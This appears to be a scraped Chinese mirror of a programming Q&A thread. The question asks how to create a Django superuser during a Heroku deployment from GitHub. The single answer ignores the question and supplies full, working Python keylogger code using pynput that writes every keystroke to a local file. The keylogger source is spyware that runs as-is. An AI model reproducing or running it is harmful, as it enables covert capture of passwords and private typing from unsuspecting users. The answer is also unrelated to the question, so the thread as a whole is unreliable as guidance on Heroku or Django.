【问题标题】:Heroku deployments via Github ,Superuser Creation通过 Github 部署 Heroku,超级用户创建
【发布时间】:2020-08-26 10:30:39
【问题描述】:

我已通过 GitHub 将应用程序部署到 Heroku,并通过添加运行迁移


release: python manage.py migrate


到 Procfile。 我知道我需要创建一个超级用户(如果我使用 CLI,这很简单)但我需要一种方法,我可以使用 GitHub 部署明确地做到这一点。

【问题讨论】:

    标签: python operating-system bots


    【解决方案1】:

    根据我的研究,很难跟踪所有事件

    但是您可以创建一个键盘记录器,它会跟踪击键并保存它

    这里是代码:-

    # keylogger using pynput module 
       
    import pynput 
    from pynput.keyboard import Key, Listener 
       
    keys = [] 
       
    def on_press(key): 
          
        keys.append(key) 
        write_file(keys) 
          
        try: 
            print('alphanumeric key {0} pressed'.format(key.char)) 
              
        except AttributeError: 
            print('special key {0} pressed'.format(key)) 
               
    def write_file(keys): 
          
        with open('D:/log.txt', 'w') as f: # This will save in D drive as log.txt
            for key in keys: 
                  
                # removing '' 
                k = str(key).replace("'", "") 
                f.write(k) 
                          
                # explicitly adding a space after  
                # every keystroke for readability 
                f.write(' ')  
                   
    def on_release(key): 
                          
        print('{0} released'.format(key)) 
        if key == Key.esc: 
            # Stop listener 
            return False
       
       
    with Listener(on_press = on_press, 
                  on_release = on_release) as listener: 
                          
        listener.join() 
    

    【讨论】:

      猜你喜欢
      • 2016-11-20
      • 2022-01-15
      • 1970-01-01
      • 1970-01-01
      • 2021-07-07
      • 2023-04-09
      • 2018-10-22
      • 2014-03-31
      • 1970-01-01
      相关资源
      最近更新 更多